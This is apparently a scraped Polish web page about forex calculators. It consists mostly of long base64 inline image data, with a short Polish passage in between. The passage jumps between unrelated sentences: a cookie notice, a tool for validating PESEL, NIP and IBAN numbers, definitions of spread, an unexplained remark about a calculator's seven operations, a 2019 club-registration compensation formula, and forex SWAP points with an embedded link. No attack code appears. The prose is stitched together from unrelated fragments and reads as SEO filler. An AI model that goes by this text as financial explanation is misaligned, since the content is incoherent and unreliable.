EW99h+tP0nbXaUr5SamgZvUxOSXwZ9nP7JIHuI8CtprkKy3itsF1prxbnhtRSyB7M8j4g+RGQfIrqXSep7fq2ywXigeMPG7LHnLopB7TD7vvGD1VbYntRpZ\/pUQ6j9ew\/nr7V7X6DMfNv9sFirX\/AOYpx1c9XxjQ9pZ6p7Nk796vI5qJQKNRVX4iIiIi2rsA2I1e2K\/zsqJJoLPbw31mWPAc97s7sbSQR0JJwcAAcN4FaqX0K9Hy1UWzvZfZrfSxNbVVsDbhWSEYc6aVocc\/ut3We5gW\/wAO21txqvrRmxu89vIfrkqj6Zcaz4OsH+Rds1E52GH7o1c7vA3DkXA8FdbH6IeyS1U7f\/ZGnqXhvefUvfNvHxw9xA+CwHaP6EexK901UaPS4tFXM3u1NvmfG6N3iGEmP5tPP4ro+0a7onubBWOEeeGTyU2\/MjqYzLGQ5rhkEKym0VMxuy2NoHYAvEk+J73Uy+mnrJXO5ukcfeSuBfRI9Der2S7aNR6y1Ze6W\/y0cDILFUiMxyAS5E0r4znceAAwbriN1zvHA+gNitoYxpLQtO32pm0xeqfUdPCXtpn4qY2jjJCT3wPPqPMBb5tLoJqGGrppGyQzRtkje05DmkZBHkQVkgBoyC0r3ukcXvOZOp5qbUPZBEenBYBqW5nec1ruCyTUNyEMbm5wVqrUl4DA9xevq4qkuFxbkjKtL7i0E5dzWG33XFHQVHZzzgF3Jo4nHirPUbQLaM99zvciLYEt1ijdxfwWL6qvDqSP9I0FQ6KaPiC0jDh1aR1H4fNa81VtZorPSmcwyPkdkRR72C8\/kPE\/8gtQ3jatra8PcDcY6aB3KGKFpA+LgTn4rTXG+0lsd6OQku5Dfl37wrKwZ0U4gxvAauia2OEHIPkJAcRqG5NcTlxOWWe7PMFdlbPtbU98ohK6bdcw4kD8AtI8VN1N6QeyXSEBdW6tpa6oAdu0ttIqpHObzaSzLWH99zVwTU1tfXDdrq+onGd4NkkLgD5A8FJDWt5AKN1OMZHbqeMDtJz8hl71dNl\/ZvpIiH3itc\/8MbQ0f3O2ic\/5R8V0prX0079Wslotn2mYrYx2Wtrrg4TTbpHBzYh3GOB8S8eS0FqbVmqNa3E3TVt\/rbrU5O66okLmxg8SGN9ljfJoA8laVEBhRisudXXn695I5aD2Dcrvw7gmwYTblaaZrHfe9Z573uzdv5Agdi9A6BRckAwveawFKCUAyowMrwDoowOgRcCV6B1UYHVeAKNo6ouoletCmNC8A6KppKWorKiOlpIHzTSuDI42NJc5x5AAc0XS9waMyvIYpJZGxRMc97yGta0ZJJ5ABdAWai0n6LOl4dpe0ilp6\/XVZD21gsM2C2hBHdqagdHfZbz\/ABFtoYdJejJYxrbXbaS5a7li7S02V5D47bkcJ6gct8dGLj3aXtM1JtN1JWai1FcpqueqlMj3yOyXH8h4Dos2kpXVDt2g4qssQ3pt1YYmEil0OW4zHi1p1EX3nje\/1W7sypm1HadqTanqqu1TqS4S1VVWSmR73nmenDoAMAAcAAsNyVDvKTV1kFFTSVdVKI4oxvOcVJYoQwBjAobVVm1nLIQGgdwa0DcBwAA04AKTeLvS2WifW1Ts44MYDxe7oAtTXK41N1rZK6qdl8h5Dk0dAPIKq1Bfai+1pnky2FmRDHn2W\/xPVWxS+3UIpWbTvWPl2LzvjLFLr\/UehgOUDDu\/EfvH4DgO0oiItkoUiIiIiIiIiIiIiIiIiIiIiyzZzrmo0VehLIXPt9UQyrjHh0ePMZ+IyPAjE0XTUU8dVE6GUZtK2Vnu9ZYa6K5UD9mWM5g\/A8wRuI4gkLsSiraW40sVdQzsmgnaHxyMOQ4Hqqlc37MNpU+kKsWy5vfJaJ3d4czTuP12jw8R8Rx59F01TT1kEdTSzMlilaHsew5a4HkQVVF2tUtqm2Hb2nQ8\/wA1+gPR70gUOPbcKiHJs7MhJHnvaeY5tPA+B3gqaiItSrARfRe3dn6hA2B30TY2tZjlugcPuXzoXeGya\/Rah0BZK9kvaOdRRMkOMfSMG48f2muCmuDJAJJo+JAPsz+YXmL9pakkfRW+rHqNdI08s3BpHkw+ay\/HiVlOmb050P6Kqn5aB9ET08ljAPko4JDFK17TjBU+XklV2saRjaaV8gBbun4rI9hl+fW7L6SCeQPktU9RbifBsbz2Y+EbmD4LFtWVjqm08XZIbgnxWI7ItX1Wm6666YqWfzWvm9did4SFrWOHxDW\/Ioi2jqy7AF53uC0drzVcVFBK90oGAeqzfXt+ZSUz6gyAMPM+C5A2ua7luFRJaKWYnf8A1pB9lvh7z+HvWFcK6O3U7p5OGg5ngFJcI4XrMYXeK1UY3uObncGNHrOPYBpzOQ1KxnUW0O93G81FXRVnZwOdusHZtdkDr3h1\/grXNq7UVTGY5Lm9rT1ja1h+bQCrMohwVVS3atmc4uldv4AnL2Z6L33b+j\/DFuiiiioISYwAHOjYXnIalxbmXcSeajlllmkdLNI6R7jlznHJJ8yVCB1QcVEteSScypa1rY2hjBkBwREXoGV8RAOqjA6rwDKiRcSUUQGF4BlRgZRcCV6B1UYChAypjR1RdZK9A6KY0dVC0LJtO6NqbtCbpcqmO2WmHjLWT8AR4MH1ivqxKmpjpmbcpyH63AcT2BW6wWC7akucNostFJU1U5w1jBy8yegHis9vWutHejtbpGWaemvGtnsLJK7AfDbyRxbEPrPH2uiwfWu3mz6Ktk+ldmlOaVsrSyorT\/1mp97vqN8guc7reK28VT6uumdI9xzxPALY0dvfP1nbm\/rRV3iG+B+cUw3f\/Xz7ZSNB\/wBsHf8AbOXVV21hrW960us91vNdNUSzvL3GR5cXE9STzKsG94KDeVNX3ClttM6rrJhHG35k+AHUqRxQhoEcYVf1twLy6oqX7hqTuAA8gB7Ap1VVwUcD6qqlbHFGMucei1lqTUlRfZ9xu9HSRn6OPxP2nef4fMnzUWpKm+zBoBipYzmOLPM\/ad4n8PmTZ1KLfbhTj0knre781RWL8Yuu5NHRnKEani\/\/APPIcdTwAIiLbKv0REREREREREREREREREREREREREREWbbPdpty0ZO2jqt+qtT3d+HPeizzczP4cj5c1hKLHqqWKsiMMzc2lbex324YcrmXG2SGOVvEcRxBGhB4g7l1\/Z7zbb9QRXK11bKinmGWvafuI6HyKrlybpbWN90hWetWiqLWOI7WB\/GKUeY8fMcV0BojadYtYxtpw8UdxA71LI4Zd5sP1h9\/kq2u+Hp7cTJH1o+fEd\/z07l7Z6PemK1YxayjrCIKvTZJ6rz+An\/aety2ss1mS6T9FTWDZKOv0fVTfSUj\/W6YOcSTE84eAOga\/B98i5syDyV80Tqmq0Xqig1FS7zvVZPpYwf1kR4Pb7y0nGeRweiwbPXfu+sZMfV0Pcflr4KVdI+Ff8Y4cqLawfW5bUf87d4H9W9pPAOK+gYIK9VssF3pL5aaW6UM7ZYKmJssbxyc1wyD8iriCreBDhmF+c72OicWPGRG4g6gjgVVTweuUJaRnAysDraB9DXsqo24LXcx4LYdre1zzC\/ryVo1RbmxRvcBxHEL6uK1Dtj1i222KUyuzlnAZ5nw+JwPiuTKmomq6iSqqHl0kri5xPUlbb9IC8Okr6e0sfwaS54B8On3\/ctQKt8WVpmqhTDRg8zv92XmvaX7PuGY7dYHXqRv1lS45HkxhLQPFwcTz6vIL1o6r1AML0DKiiv5egL1ERcUUQGF4AogMouJUQGERRNHVFwK9A6KIDovGjqpsUb5XbsbC4+ACLrcct68A6KfT001TI2GCJz3k4AaMqZJFQ25hlu9Y2EAZMbeL8fl8cLFNQ7XKe3xPodNRiPILS9ju8fe\/wDJvzK7oYJJzsxjNaq4XSnt8fpJnBo5nj3DU+A9i2E+XSui4jX6pqGVdZHxbQRv7rD\/AN67p+6OPitW7Q9s961ZKaemn7Glj7sbIxusY3wa3p7+a19crzX3aUy1tQ5\/g3k0e4Ki3gt9S2psXWl3ny\/NVVd8WyVLyKTMfiPrZfhGjR3Zu5uUx8jnuL3uLnHiSeZUO8oC4AZPILFr9rWKm3qW0lssvIy82N93ifu963kFM+d2zGFXl0vNLaYjPVvy5cyewcf1mr3eb9RWWAyVDw6Rw7kTT3nH8h5rXF3vNbeant6uTgODIx7LB5D81ST1E9VM6eoldJI85c5xySoFJKOgZSjPV3P5KksR4rqr870Y6kQ0bz7Xc+7QeaIiLPUURERERERERERERERERERERERERERERERERERERese+N7ZI3lrmnIcDgg+IXiIvoJBzC2PpDbXf7HuUl8DrpRjA3nOxOweTvre48fNbn03rrTGqo2utNzjdKRkwPO5K33tPP3jIXKKijkkieJInuY9pyHNOCD71HLjhqkrSXx9R3Zp4j5ZK5sHdN+IcMtbTVh+kwDg8nbA\/C\/efBwcOWS+pHo27Vo7XO3Qt7qN2nlcXUEjuTXE5dGT5nJHmSPALqAEOAc05B4gr4p6W20aw06+Ns9Ua6KMgtMxPaMIIwQ8ceC739HP019Ga0t8Gm9a3mns94iAYx1ZII46gAcCHnDQ7xbn3eAybTHVUMf0Wq3hvquGmXI8suHZuWk6Qa2w4orP37Yc2Pl3ywuGTg\/i9pGYcHfayOYd1ssicuuYZHRvDweIOVR62usVLbXVMjw0dmSSVbv9KLfHCKp9ZT+rlu\/2vaDd3fHPLC0ht1242Sqomaf0ncYa2Yt+kqIHh8TM+DhwcfcthV1sFDGZZnZAe093NRLDuGbpimtZQ2yIvcSATkdlva46ADt8MzuWkNoV5N81XW1W9ljHmJnwPH7yVjrUc5z3FznEucckk8SV6OSp6qqHVU75nauJK\/RuxWmKw2yntkHqxMa3vyGRPeTvPaUUTR1XmD4KIDwWOtqURe7pPRehhHE4GPEouOaAYUYGAoC+FnF8zQPLiqKq1Np+gDjPXxFzebd8Z+QyfuXJrHPOTRmseaoip27czg0cyQB5q4gZOAp7KaV4zu7rRzLuACwmu2p2+ny23UrpSOTt3dHzP8FjVz2i364ZayRsDc8MZcR8Ty+ACzorZUy8Mh2qK12NbRR5gS7Z5NGfnub5ratXc7Hao+0r61rsdGuAHzP5ZWK3na1DDG6nscGOm83Lf73M\/DC1jPVVFU8y1M75Xnm57iSpWR4rawWeNm+U5+5QS5dIFVUZto2Bg5nrH\/1HsPernc9Q3S7vJrKlxaTncbwaPgrdveShyFnmhtimv9ePjkt9qNFQvwfXq7MURBzgt4bz+WO6CPHC3ENPn1Im+xV9cruG51Vwl8XH5+4LBd7yVZdLJqK1aOl19Pp6vNiinZS+u9kRE6V2cNDjgHlxIzjhnmM9zbEfRG2dWSoZddTwHU9ZCQW+uR7tK12ekOSHf1y4HwC2X6UWzOLWWwTU+l6S3sYW2t8tFExga1ssAEkTWgchvMaOHRbintJPWmPgFW936QWNBitrcz952ngNT45dxXx4vGp7ld8xuf2MB\/2TDwPvPX8FaERbuONkTdlgyCrKrraivlM1S8uceJ\/W4dgRERc1ioiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiK7W\/VF3t+Gift4x9SXvfI8x81lVq2jxw90zVdATxJikJb\/d4\/ctfosOegp6j12qSWvFt2tBHoJSQOB3+w6jwIW7aDaBdapgFFfmzADOMMc4DzyM\/NXSHX+oYhh74JfN8eP8JC5+VbT3y70pBhuM43RgBzy5o+ByFp5cOQO9UDxHxCsW39M11hyE75B3PJH9rvmt9f8ASNff6Cj\/ALD\/APiT\/pHv39DSf2X\/APEtLQa2vUTd2TsJj9p8eD\/dIVVDr2sb\/wBYoIX\/ALji38crDdhwDSMFSSLplkky2quRvePlmtsT6+1FN7M0MX7kef8AFlUkur9RzNLXXN4B+w1rT8wFrn\/T8f8AZP8A5\/8A+qf6fj\/sn\/z\/AP8AVG2NzdIh5L5L0pRTZ7dwfv8A\/IB7AMlmtRX11Wc1VZPNj7chd+KkLDpNfSkfRWxrT4ulLvyCpjrq7HOKekH9R3\/EsllrnAyDQPELSVGOrU5206Vzzzyd8clnSEgDJOAtbz6pvs4c11e5jT0Y1rcfEDP3q3z1dXVEGpqpZiOXaPLsfNZLLRIfXcB5\/Jaeo6Q6Vv8AAhc7vIb7tpbGqtSWWk4SV8bnceEffPu4cvirJWa8jALbfQuJI4OmOAD7hz+YWHosyO1wM3u3qNVmOrpUgthyjHYMz7Tn5AL6wbKfRLtrLbQ36wWilcJ4o54qupAml4jIcHOOGnj9XAXQGkdggpXtfeKiEkcSXSB2fc1ufvWMeg7ryh15sG0bUwTvlkpLTBb6jtPb7emaIZCfe6MkeIIPVdQ0UdO0AloWwYxsYyYMgolUVM1W\/wBJO8udzJzVis+jdP2eENgo3TOaPaLd0fLmsJ2t19HQ2GsdJuRRxwvc7wAA4rbdfPBBRySbwbutzlcPenHtSZpXZFqapjqjHPWUz7fS4PeMk30YI9wcXf1VyXQvj+4guJAwCcrxERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERF2P\/J2+kvDsp1dNsz1FLHFaNRVPb0c73ACGtLWtLCT0ka1oHHg5oGDv8Pq5btdUFXCyWKpaQ8ZByvzuAkEEHBHIreGz30yduWzq1Cy0d+gu9JGAIBdo3TvhHgHhzXEeTicYGMIi+1GodcUkdBMx1QMbpzxXyP9O3brSbRNYR6DsE3a26wVD5KqVrstkqsFu6P3AXAnxcR044DtD9MHbptGpfUK\/U7bTSubuyRWhjqftPe\/eL\/gHAeS0s5znuLnOJcTkkniSiLxEREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREX\/9k=\" width=\"305px\" alt=\"kalkulator forex\"\/><\/p>\n<p>Korzystaj\u0105c ze strony internetowej forbino.com, wyra\u017casz zgod\u0119 na wszystkie warunki u\u017cytkowania, \u0142\u0105cznie z wykorzystaniem plik\u00f3w cookie i polityk\u0105 prywatno\u015bci. Kalkulator poprawno\u015bci numer\u00f3w Kalkulator pozwala sprawdzi\u0107 poprawno\u015b\u0107 numeru REGON, NIP, PESEL, ISBN, ISMN, ISSN, EAN13, EAN8 i IBAN.<\/p>\n<p>Zaraz potem, jak wyja\u015bnili\u015bmy Ci, co to jest spread, chcia\u0142e\u015b szuka\u0107 najlepszych ofert. Spread akcje jest za\u015b r\u00f3\u017cnic\u0105 pomi\u0119dzy cena zakupu i sprzeda\u017cy akcji notowanych na parkiecie. Tego rodzaju spread zwany jest tak\u017ce spreadem gie\u0142dowym (spread gie\u0142da). Pytaj\u0105c o spread indeksy czy spread surowce, mo\u017cemy odnie\u015b\u0107 to poj\u0119cie do r\u00f3\u017cnicy w cenie pomi\u0119dzy indeksem kasowym\/obecn\u0105 cen\u0105 towaru a cen\u0105 kontraktu terminowego na ten indeks\/towar. Je\u015bli chodzi o ten kalkulator w pierwszym po\u015bcie to sprawa jest banalnie prosta, z tego co naliczy\u0142em jest 7 dzia\u0142a\u0144. Spos\u00f3b obliczania ekwiwalentu obowi\u0105zuje od 1 stycznia 2019. Obliczenia dla wcze\u015bniejszej daty rejestracji w nowym klubie maj\u0105 charakter jedynie szacunkowy.<\/p>\n<h2 id=\"toc-2\">Czy Warto Handlowa\u0107 Function X?<\/h2>\n<p>Punkty SWAP stanowi\u0105 jedn\u0105 z najistotniejszych warto\u015bci, kt\u00f3r\u0105 inwestorzy powinni mie\u0107 na wzgl\u0119dzie w trakcie zarz\u0105dzania swoimi pozycjami na rynku Forex. Na ich warto\u015b\u0107 wp\u0142ywaj\u0105 czynniki takie jak r\u00f3\u017cnica w stopach procentowych mi\u0119dzy walutami <a href=\"https:\/\/www.worldbankingdirectory.com\/64608\/gpw-rozpoczela-etap-operacyjny-budowy-platformy.html\">https:\/\/www.worldbankingdirectory.com\/64608\/gpw-rozpoczela-etap-operacyjny-budowy-platformy.html<\/a> oraz mar\u017ca brokera. Wysoko\u015b\u0107 punkt\u00f3w bezpo\u015brednio przek\u0142ada si\u0119 na rentowno\u015b\u0107 dla inwestora, zw\u0142aszcza gdy pozycje s\u0105 przetrzymywane na rynku przez wiele dni. Nale\u017cy pami\u0119ta\u0107 o tym, \u017ce ka\u017cdy broker ma sw\u00f3j w\u0142asny cennik punkt\u00f3w SWAP.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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OD+6qqxs3sSWH2N7gMdfDIR4p8J5DZVcEbj7AkAN9bexxp3\/AIUn05Ux5foDrHnGRm8bJkuoZTnVFMWJCqzTsKwA2ICpVIAey2uDNxa06paYSU616aLndH4VqjMNJ1a1F1vY76Ko8KVDf9yEzN2tc2XFkGbBkfIbQdC6PkjhbVTbfnjg\/T9Pv9MYqBIsZaB1PFlVvv3v9rfrijac6l6F1lmkuUaZ1MKfOKaNHqMonRqTMIY1sBvoagCWIG4uxRdwPc8EWiKfMGlEc0UTop3NIFaMlfZVN7\/fd+nNhfwRYVB6oru5NmWw+hvc4XEWDWSxv2AI7YBOKWtDUUlOTtYBzNHdSRYgi\/HtYj1v7YeimpyFMQW\/upP+mIilmRtp8RGufW+Mx1WxiUdlJ4uTjJgKKdjkewIuMDKzR8sEI9gbYiKMxWdTFOgkQ\/uuLr9rHi2Bx6cyAqwTLY4C4swpiYN49mKEXHbg\/T2scxtutuje9u\/BH8sO4pY0R5Cf7pWfYCNz2F9ov6n+uGD3N+U0kLQeoUInTLRzymregeKoJJElKwpnAt6yRBJG555bm3N8TH7LbLcsNPlMSTzRQ2iWpmdRLIF8pkkAZr3Au1icMl1nk8MZmzGWWgitfxK6nkpk7kHa7gK3a9wSP0sTLRVSTBZI23K43IwNwy+49x9cR0j3CnGwgxjGOsBRKZNNlmUCjo5XkqamVVlkaIAurEmSR\/DsqGxdgbbPEKgDzDD8JZibcnnDlpLg8+t8YTkm\/qMKFYTZTaZpooJZYow7ohZFLWDH2v6f79bXqsuto8kjNHn+XZhAsW8BqaCSsSQJ3JYRgqxuODYm\/ANyBb6iljqY\/BkBZbq9rkcqQQePYgHHzIggWniaREsVABB49je59T\/HEUVRyzUOT5\/MKuiDqkcieYU3izKATcfhsTyUZQCBz7WxXNWZ2tVqIpT5fXR01NMBHJUUSstohIGUSCZWRX3kBn\/KfEuBe52RFSmCdamERhkPlZoQSDwOLWsBtH3HHa1qFm2mczqayStzLIjmjJEKcGakoqoeaUyb96iKV0TtYAE2RtpccxBK0RltPJlSyPl0MkVVMhp3maZ53IBaQPHUkvFypsocix9Q2JfWFHTUelK8zU89U9RTGD5ZJCsbl\/KVKPKkbqASSpYFgD68YkMhyM0+T0eWZtTJO8KM0ixwBYXZiSrASM735a+5ma\/r6YrfVRKSGiy\/Jhl0MwzCbwxQ00tPSyVXYKgEzKrhSd9lIN0Uc32lw7shSxpXJKim0bldAle1PLVCOUq1PEih7h7NEC\/ARRwrkMFABAGJTK2jq6OjlFbk2ZGtq5aiM01GaaPw0QxsZFJcswk2gtx2tZbWL8UlBldPT0EDVCDL6WaeKSLdO8R2CMAJtJNhIdotYbSCvphVNVLDmFDSS53BNU0uWLIwracRSTJMxsGTy7T+FYjbcdza+BfKNKHzzKIs2yKonpaNEr4sxiNFLE7ukM4dIWYgNGTGtmDKCN6BlJAbEbpCk1DvzjVGpcuqcqzWvgiVqZ5oaj5eKEy+FBvXdddrbyQT5nfsCFFpy+KFIsrqcpySiSOtneSQO5W+9HckeU2AZvT1t74CadYos3KZZXAVFQlLGxqS6qriOMsoZu4Yn05w4k7JNgu1UckXU8lLl+kspaoySl0+KmibMarL9weGGVFp0gWZAsm+n2b5CCqksF3ndsnaLTdD4Yrkz2qnzStlZRVLWMVXzvKXEBLQKxO4XEfJcX7YskjTNnDxGWqTwKVmVBCGVizMGuQvABjv7d\/tiP8AClhodO0tRW08MkDKZFkU+ZjTupJG4cea\/wCoOGL7PCgZxyoZKbXEdPmuWGuy+SFX8Bqx5H+YRRTx3JjRY43Zi7eYeGosvkblcPv2ZqjKknOTajzWWqhSCVv2kIahJFaSR5UB8rKWsVQ3CoCvlIG3EpBR+Hl9bUU9DRkVNV\/fKQARdY732njy3vf3w+hpZIc5lq\/CrJ3lggP4NRuUAFx+8wHp7fbCb0uy1TM0zms1Dp7ItPaXzqWhq84pLSVhoj42XwqgEs21wESRWIjVXBs7A7HVZLTuQ1tPW5Eu9KN6+nr1hrFjcJtmWoAPA3EBgQ63NyrKfXH2SabyvJ6uTPaSOphrs5jhNe6q0qzBItqrYghByTZLcs5PLMS3zamzGmr58zoM6y+kpqmWJZqKuozaV0mUhw4kXadp2sSrGwjsRtN2ttbQkAc3kptqDKpc71LmcMdXVUn7Gy8yeJSVTSf81MCoVwxCsFjjuUYXPiowKsqMJfIM\/nzCqNDmNNWUmY08UqzU7qrKwBXY6lQSyMGYg8cgjuGABozKcwoDmLZjTZecwzB2nqamCQspBd1iAcxqSEhSOO9hfZc98Aq6bM4Icp1Pk2SVdfWU1I0bQwzpvqInCM0aGSRVBBUNduLoFJAYnB4PHZMLb8Sm6UUrR5ez1FO\/hytBten2XsjK12J7kgAceuMQwSKZoYoqd6eGsU7kqSTZ3UuSgG2wV3H3Hfvis0Gk83danPK\/U2c0uc5m\/wAukdG3iU2XwmckJCjIUdlMjFpnUu5PdYxHFHJrlVbQ1FUMy1hPmk0MXjrHWwwwF9yFdo8NEsBtuOOL27cYX2wnaXEXSttDQwzZeC4ZXjlkiupIvtYi\/wBuB6YStDWxO0kNWNvqGXzH9Rxb9MOcqmaoNSy38ESgxexVkVri3Frsf4YdFrXXFRbSsvhRcVRWr5KzLmXaTtaFt629\/Qj+Bwox5XVTRSzRx\/Mxjam9Nsqg8kLfzDD3fZ+cfbIyPDdFK97EXwKKiBUrI0LRQTLG7KQrMu9VNuCRfEVpjLpG1C9ZVJTzTUsTL4sUXhAs1hwtzb97uT6fUYV1CzHMMg0dU6hyKWOmkyuWnrawmLeHoY5karULb8xgEu09w23kYdtHU6dpMxzONlqTI0bREfvoSLHjj944DnGqCjavlUkymADZtsBY7OGF+10P9Bc+wOM06rKw2+RgeEVrEG\/dlPA+\/rgNFDUpBDHmlR41QgA3PYDt6EcKTYXPqSSAoO0OXCoo32IuLAgkcjgKeCP15IxfvBVNoqsUBVWCgG5IPhm\/vtPFufzX9cfQx+KbKm2\/JRBtJPvtPB4tyecfCF9gZrixuAwDoPsfe3r\/ALKmmihBeo3LH35u4\/S3JP8ArYWPGFcQQiCiqViG8Oq7eeTtP3IPB\/XGYI5qs3mhKQE8ArYyf9Q9vp6+vHGEU9I9Syz1a2RbFIb3F7cM3qfQgdh9TYiGz3XlJQ+NR5PPDNVBSFdyTGj\/AFsRu572\/jitzgwW7orWse+y0XStwf0Itc25\/wB\/fEbV1WRPITPmdJHPuDl0qlRyQON3IJt7G49LY5s1NrnW1TmL02o6+ZSpukUTFYdv+UDhh7E3PHPIOAZfns7uqo30HPbHeg0f3YxJvsHxVKl04YNx6BdDZkun86DUVbW5NmSueUqHUMNw2tyAb3DHgKBY2xF0GjMnyrMUzKimrsrjeWepekMpFO0r3DSSEEi7dxck3I4FyRo\/PdXpQr8ssivWOBtubhRbs3+n88MtKdU9S6XzATRVrvAWBnpZWJRx62vcqbeo\/n2wzvRoyB7wA3DkcUf2XMj9QDd7brpdG6r0VpDXWVples9M5bn9Ap8WOHMKRKhVdgBvQkXUkEebg9vUYJpnSsGkMtOW5JUZlPA9R4u3M81qaxowQqlUknZ3sAosl7X7lQSwNpWuy\/UuUUGo6GBoUqYy+weS7E2fcBw3mDWJv6Ee5l44py27xFdLmwtax+\/tx\/XHDe32nFh4I4XYB3AOHQpMe5FBaFySbs4HB\/1wtXgY2JUH2IscGF0sDH9OCDjEjp+8AB2u3bCWOqK+A5uGYD0seMJZ5HPDAgD1xFUGp9I5hmcuUUGfUctdG7oaZZgJNy3uAvc2CseL9vbnBM51JkmQ1MNNmVa0Ukw3ABC9hfubA2\/+cZpM3GiiMz5AGg1d8X4Ra1xNNUzATYXBa\/bYL3wVKqmlcxmZGaP81uSOOx9u4xCaj1PRaZ05U6mq5VaGCHxEUgoZWIGxRf1YkD9caT6G6fzjVersx6iZ\/UzP4cjbebCSobmwHPCqbheQLpjFlaq2HKixYxuL+fsPJW\/HwvegfO91Bv7nwuizHDINpvcMGsDbkduB9efvgcVDFFLJLAiCWd7u2xQztYAXI5JtYDEfkmqtL6lEgyXUOWZhLCbutLUxyFeQPMAbryQOfUjHPvxo9X820PlOW6F0nmlXQZ3mcgraialqDDNT0sbEIoZTuQvID632xsDwwxryM2OCH3RyPp3R07ScjUctuIwU49b7fX7LpUI48xAYe4OFbirG8bKBwb40pNrrVfRL4ajrTqLnUmZajhovFSOrVVlarnNoIGFxcpdBIfMbJIw44xp\/4Bsv11qBtS9TNSawziryuJnoIYJ6+V4KiqYrLLMYmbZ5AygEDvK\/oAARk\/E1gHUX9l0o\/TjzhZGc6QbI3bRx85uuF2Szq4IVzzxe+AhH3Dkd\/XGnul3xZdLer2tqnQOk4c7fMKVZ5PGlo1+WkiibaZQ6O21WupG635gODxjdA22B24vZI2QW02uJlYc+G\/28hpaetFDBmjFmQW9PXCQx3XZQOeOMLlbYpcngC+IqmrM5fNGUvStRPYIliJU45uezDdc3sLAgcm7F1lFqUM63IIscDlpqKtaOSrpYZmgcSRGSNWKMOQRfsQfbDkByLSQg372sf9cD8NdxFtg9Rg0istD4rF45Hil2hRJHbcACTxcEevtj6ekd5GeBlR5UEZlMIdgova1iv+Jjb64MkSsLJIAfTGNky9iTbA7qKPqskmnzClEVDQz01PE63mcqwPk2W8pvYK\/\/AKr83tgVbl88VHHTLRVFSPm2kjWnm2Bfxtyk+ZbDbb7f0l983A2fW98JaZvNx6jA5UUbmFScmpqzNTLVp8tAXZVj8U\/hqzg32njknv6c4SjAVVPTLXQwxxU7yRtUx82Up9V581rn3xL+IH3BgpBFirC4I9iPUYWpG4MjAMqlVJUGwNrj9bA+1wO+JwFFXZoY6vIyyx0leUzAoFvZD\/zXm559f5H1xKU8RgmEfyMhaSmjJgppCoHnkJF\/IPXjB5csoZ4hG9Op2yeJuIBJbfvN\/u1j\/H3wVsuoWqDMEeMOVBEblNoBJ7rY257fphmkd0Pso\/LVMNFSWlq6MCMgrIRMSdouB+Y\/0w0Eq1PigVKoRVrzUwEAeZbceX2xOSZdF4dOkE8q+Gttwa5sLejXt\/v2wz\/ZuYJTyqrPI\/zCMGMatdQR6Jb64in3TeWSKvzOZCaOuAhj3KbKoszn\/N7\/ANMNqSmWkyrKIvBAZmQPFSyst7Qtexuo9OD\/AAw\/eOogzPZXrTzVEtMfCUoY9oVhe\/J9\/bDFKYCjpkloUhENSY1EElnHnZO9l9Tbv7YcEIr6nmtQ5pUs1bQx0TbvDdhKx2xo7W\/MRySe+HcMrftErBXiET024\/MwEbvDYenlPBe\/6c+l1+DTv8zQmlqovmIfPIZPEbzblHG5h2A7\/wAMZapWOTL6mSokZZlaNZqiLat2AYcqF4shNr9r4lEFRHySqlDrGJAYfk4VSw4ZkLhiP\/8AOJUNuF\/fENlokaanKzxSpG1TGZIj5SXdXHFzbgHi\/v74kissfIO4H6YV3VRFYMXJtx3xm92U29LYSJHtyCMEXzKD24wqKHV0tLmNFNltdEs9LVxPDPGx4eNgQVP3\/wDnjFd6RznOOluU5fnj\/M1uRtLktWzj+8lpJHp2c\/8AUYt3\/mGLUtOwZW7gemKj04oTQa\/6gaWaS0b1VJqCKO3CxVcQjNj7+NSVBI\/zX9cK8ANJ8KHk8qFZrAiFC5PlLRWKH6Efu\/Ud\/rjMEIT8UkFgbkxtYKD6lTf\/AFP8sYp9jfnILHjf+R\/t9f5W9sYq5hTRklTJIo8sZ4e\/0IHPoePcd+xZU0jPOkSF2d2O6wVSQzn\/AKT3Pc\/oe1uC09I7uaqtjAl4IUdlPuf81uOOAOB3JIsvgSVhVSVAnqCNrWP90T3QD6WFz3PF+wAkRdQVNrHjBRBpas6za+rcggh05ksoSsq08Soe\/McXaw9iw3C\/tx641Rlme1SFfFKk+liOf0OKB8UnU\/O9K9a67T1Nkc1XNUQU89Obk7oigW6gAk2ZXHb0v7nFf09mGvM7Kz5nPHlUBH5UUGQ+w4Nhf15uPY9sbZn6fjY4ky2lorq5wF\/Zo3OP5gWtuNmZOADtkZR7USf6f1W8sw+Uz6h8GvUqFPkmS14ie\/2HAFux4GNa57qKTRtVLlrvHLXOm6EhgUEZPD\/W\/p7EG9uLyLaiynS1AKuaSSpqu0Tzy7nZ7el+B\/L0HrjQmpdZ1ue6grc2qJN3jynZY22qOAP4Afrjt+g5Gaxkytxmn2WC7PcnpXjyvO+q9RdFhtnLQ3eSBXF11NeFenzuWdmmmlZ3c7mY3Nz7842J0c0pWdStTRZc0ssNBQoJKyrQ22R82S9wNzcgHuOW527caK02c31Lm9FkWTUb1VdXTLBBCpALuT7ngD3JsAASSACR6J9KendF000lT6fo9stW4D5jU7SvjzG25rMLgLbaqkdgLm98ev8AU2os0vH9tnzu4H0+q8xoUDtQk3n5B\/ylJ6izjIOn+kZ84zSdMtybJYPFkkj4EaItvDCj7gKPfb3PB0h8OPxF9T+uer82y9dGZbRaWy0zSGqCy\/MqGY+BFfdsaSygsQoA2sRyQMbr1703091H05\/wlqPL0qsraRJnh+Ymi8QrusCYmU2BbcL7hcdr2IjNO9Msp6U6ErdI9N0fL4nE0qVLUwqJzNJx4rruUSMoI8twSsYUXNgfjs7ciScSB3wiz9SV7d7JXSto0wfutP8AWX4hdb03U2g6a9I5KeSvimFLVXhSoE9S7AeF5hdFQX3EWIO658uNtdR9eVeidDxQ1dVH+3q+JYg0SFFMgA8aVF5IAvwLki68nFN6JfDjF061VX62z3Nlz+snjIy+d4fDmh3\/AN5LIrElJSPKQrGwL3J3CzbOdIas6l9Q4swznLZYMjMhVHSVJESmjPADISpLk8H3LdwDt81mv1CLGeaJkldQHZoPf9Fpx2uLi56lOhWko8hyWq6gZ3v8aqiJp7jcY6f1Iv33Wvcdxt778Smn6SfXerZMzr2JpYCJZBu4CCwRL+g7\/cA+2HPUnMYYkp9J5MqiFApkFOPKBbyJb04sbfUeoOHmcV8HSXpvUZi6g5jOoEa77b6mQeRQPUL6\/RSc